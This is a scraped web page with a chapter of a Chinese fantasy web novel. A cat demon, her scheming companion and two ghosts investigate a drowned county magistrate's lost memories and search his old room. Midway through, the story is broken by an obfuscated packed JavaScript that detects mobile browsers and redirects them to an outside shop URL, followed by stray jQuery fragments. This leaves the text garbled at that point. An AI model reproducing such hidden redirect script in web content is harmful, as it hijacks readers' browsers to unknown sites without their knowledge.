6. 鬼县令(二)

作品:《注意!反派有猫

    屋内只有一案一床,打开窗稍一探身就能看到藕池那边岑一白住的正房。


    二人用完晚膳已近亥时。


    来收残羹的杂役脚步声渐远,四下又沉入寂静,小窗大敞着,夜风夹杂着水腥味灌注屋中。容岫填饱了肚子心情才又美妙起来,她瞧着窗外平静的水面沉吟了片刻,随即瞳色一亮,掐诀朝平静的水面扔出一道符箓。


    符纸迎风飞射而出,瞬间燃烧成一簇火花,在院子各处盘旋后熄灭于池水之上,熄灭得干干净净,未惊起半点波澜。


    容岫啧声嘟囔道:“这里什么也没有嘛。”


    宋今琰也起身望向散灭在湖面的火苗:“这是?”


    容岫道:“这是吞口符。上古有神兽名为镇宅吞口,传闻它以祸乱家宅的生魂为食,能驱鬼避邪,引此符可追查下界鬼魅的气息。”


    宋今琰听着,上前一步同容岫齐身。


    他侧目,看着身边人红唇翕合,语出惊人。


    方才在偏厅他谎称尘阳子传人的身份助容岫入衙门,一来因尘阳一脉遁世已久,在场众人无从证实,二来他相信凭眼前这猫妖千年的大妖修为糊弄那些人绰绰有余。


    却也未料她竟真能打出五鬼符,甚至能遣用吞口之力探寻鬼魅。


    这可都是失传已久的符术,随便一道符箓都会引得江湖不知多少御妖师趋之若鹜。不晓得这猫妖哪里学来的本事,想四姓世家中最擅符箓之术的崔家,也无有几人能只凭一张符纸就轻易遣用上古神兽的力量。


    可她好像根本不知道自己的符术有多厉害。


    宋今琰眸色深了几分,难掩兴味,毕竟宋家最厉害的便是制咒缚妖秘术。想着,打量的目光又往上移了几寸,定在她那双圆润清亮的眼眸上。


    她的猫儿眼像被浸润的琉璃,在夜里越显剔透。


    浓黑长睫勾出一道俏皮的弧度,浅淡的琥珀瞳因此时的聚精会神而显露出一抹不谙世事的昳丽。


    怪不得京中贵胄喜欢豢养妖侍。


    日后就拘这只狸奴回庆京养,就打个金笼子养在侯府内院,平日里让她陪着解闷,日子会有意思不少。


    这念头和容岫的视线一同撞上来。


    宋今琰没有躲闪,心念越盛,唇盼的笑意反而越灿烂。


    少年咧着嘴角,满脸无害道:“师姐真厉害,阿琰第一次知道符箓能引神兽之力。”


    容岫闻言也跟着乐呵,当真得意起来。


    小脸一扬,她拍拍阿琰的肩头道:“人妖大战时期,高阶符师所写的符箓可驱妖役鬼,甚至能落地成军,可惜了,”她用一副状似惋惜实则骄傲的表情道:“修习符术的门槛高,如今大多御妖师都选择修习剑道,承袭正统的符师更是少之又少。想当年,我家那老头……”


    不知想到什么,容岫神色霎时黯淡,后话被她急急咽下。


    见她舌头磕牙,宋今琰眉尾悄悄一抬并未追问,“那师姐方才可有看出什么不妥?”


    容岫摇头:“正如你所见,吞口符没有异动,说明这藕池并非如传言中有厉鬼藏身。”


    “如此,是有人在刻意散播闹鬼的谣言?”


    容岫蹙眉,未轻易定论,只说:“县衙偏在这个关头发榜捉鬼,确实有推波助澜之嫌。”


    宋今琰点头,温吞吞地开口:“连死三任县令,赟州府定是会遣人下来问讯的,若真有隐情,我们也无理由插手。况且师姐也说过,此行只为助岑一白找回记忆替他了却执念,这浑水咱不搅和。”


    少年的嗓音如润玉和煦,似在贴心安慰眼前略有些忧心的小师姐。


    可若容岫此时抬眼便能读出他眸中死水般漠然的情绪。


    容岫将将要点头回应,斜靠在门口的无妄伞剧烈晃动起来。


    似是感知到伞中异动,无妄伞周身隐隐泛起青黑雾色将其裹挟、压制。


    岑一白又在闹了。


    容岫移步过去撑伞,青伞打开的瞬间,里头滚出个白花花的光团,其形未显声先到,那嗓门可大:“哎哟!别踹我呀!!”


    喊到一半,忽然想到什么似的,岑一白捂着屁股就地滚了一圈儿,指着伞下一同现身的女子问:“她她她……她是鬼啊?!”


    顺着岑一白手指的方向看去,那边不知何时站了一道挺拔窈窕的身影。


    妇人长发随意挽在脑后,三十出头的年纪,扶柳细腰但宽肩长腿,肤白若雪但剑眉星目,此时她一手插腰一手扶额,怒视瑟缩在地的岑一白。


    容岫惊喜道:“梅姐姐!你醒啦!”


    容岫日日背在身上的青伞确实不是俗物。


    此伞是师父年轻时在一处隐匿于闹市的妄境中捡到的,后一直收在神祠之中。直到师父仙逝,她无意中才又翻找出这伞,发现里头竟收有一只已有些道行女鬼。


    正是眼前这位怒目圆睁的梅娘子。


    容岫为此伞取名无妄,当即就收“养”了这只女鬼。


    一猫一鬼相伴山中数百年,梅娘做得一手好菜,还真吃得容岫猫脸圆圆,到头来也不知谁养谁。


    梅娘忘尽前尘,受困于那处妄境之中,被容岫唤醒入世后的几百年里修为停滞,随着时间推移,她的魂体也越来越虚弱,如今能离开无妄伞在太阳下活动的时间更是越来越少。


    距离梅娘上一次入伞沉睡,已有三年之久。


    容岫可是三年没能吃上梅姐姐手艺了,这时间说长不长,却也让她实在难熬。


    想着,容岫顶着一双汪汪水眸,晃悠着脑袋撒娇般凑到梅娘肩头上。


    梅娘故作生气地轻轻一推,指着岑一白反问容岫:“你又是从哪里捡来的老鸹精?吵得老娘在伞里也不得安生!”


    梅娘沉睡时不知其间发生的种种,只当容岫没改从外头乱捡阿猫阿狗的臭毛病。


    “说来话长,日后再与姐姐细细道来,眼下我和阿琰正愁如何助他入轮回呢。”


    边说着容岫猫儿本性难掩,亲昵地攀上梅娘手臂,朝阿琰勾勾手指,又对梅娘耳语道:“阿姊,他才是我捡来的小郎君呢!”


    宋今琰第一次知道梅娘的存在,闻言收起方才不动声色的打量。


    二人目光移过来时,他抬手一揖,俨然已是一副温润谦和的后生模样。


    梅娘见怪不怪地朝他颔首,这才发现几人并不在无妄祠里。


    “这是哪?”


    “这是昌芜县县衙,梅姐姐口中的老鸹精正是昌芜县县令。”


    容岫余光瞥向席地而坐的岑一白,只见这中年男鬼满脸颓然,燃了一半的青香此刻斜插在他发髻间。


    简直具象化的头冒青烟。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956952|193172||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “我正想问问姐姐,你可知晓什么原因会导致身死离魂后遗失生前部分记忆?”


    岑一白也缩着肩膀望向梅娘。


    这位对他怒目横眉的泼辣美人对自家妹子倒是无比耐心。


    “这还真不少见,人断气时受惊丢了几魄而遗失记忆,又或横死之人受怨煞之气所扰只记仇恨不记前尘也是有的。通常踏上黄泉路入了幽都后魂体便会慢慢清明,生前记忆也会慢慢回归。”


    梅娘打量岑一白,眉间染上疑惑:“可他三魂七魄俱在,魂体也算清明无怨念,要么生前脑袋就受了伤不清醒,要么死前就已经被人封了七窍,这才不得解脱。”


    容岫想起此前当作八卦听的传言,“年前我便听说昌芜县令患上了夜游症,竟还说县衙里闹鬼,莫非那时候就中了邪术?”


    岑一白忽然大掌一拍,激动道:“对对对,我是住进县衙才患上的梦行症!而且忘记的也都是到任后的事儿,现在稍一回想脑袋里就乱糟糟晕乎乎!”


    遂又想到一路听到的传言,他又染了哭腔,哽咽道:“再说了,本官是江边长大的,打小就会凫水,哪里能淹死呜呜,本官、本官定然是得罪了什么人,被害了呜呜呜。”


    “别嚎了,凭你这小胆儿敢踢那么厉害的铁板?没准你梦游时掉池子里磕坏了脑袋。”梅娘话里话外是真嫌弃他。


    宋今琰适时开口:“有没有伤到脑袋验尸便知道了,再者,若是中了术法,尸首上或许会留有痕迹。”


    “阿琰说得对,明日可以先探探那两位仵作的口风,今夜我便先同岑一白去他之前住的屋里瞧瞧,他看到旧物或许会想起些什么。”


    “我同你一起去。”


    宋今琰上前,面上却挂上几分恰到好处的倦意,容岫觉察忙摇头拒绝。


    他这几日虽养回了些精气神,但容岫没敢忘从除夕捡到他到现在不到两个月,那一身伤定然还需修养一些时日才能好。


    “你带伤奔忙了一整天,得早些先休息。”


    他眼角微耷,“师姐,我好了。”


    “听话。”


    “好。”


    梅娘视线在二人间来回一扫,多打量了宋今琰几眼,才毫不客气地拎起地上的抽泣的魂儿随容岫出了门。


    -


    夜深人静,一猫俩鬼径直推开了先县令的屋子。


    容岫入门嗅了嗅,确认自岑一白死后,这屋里还未有人进来过。


    屋里布置很简单,一张山水屏风隔开了里外,乍看去并无特别,只西北角那支撑主梁的粗柱稍显突兀。柱上凹凸不平,雕满了和整间房风格不符的富贵牡丹,还刷了厚厚一层红金相间的漆料。


    梅娘拎着岑一白绕柱赏了半天,更嫌弃了:“丑,真丑。”


    “冤啊!我来时就这样儿了,好像是三年前县衙重新修葺时刷上的。”


    岑一白喊冤,哼唧道:“前两任县令都有自己的宅子,不住县衙,我外地来的,又一穷二白,自修缮以来,只有我住过这间屋子。”


    话落,却听得房间另一头的容岫幽幽开口:“你说你一穷二白?”


    “呜呜,那可不嘛……”


    卖惨的话才到嘴边,岑一白看清枕头下的东西后,近乎本能地扑了过去,急忙将容岫翻找出来的东西压在了身下。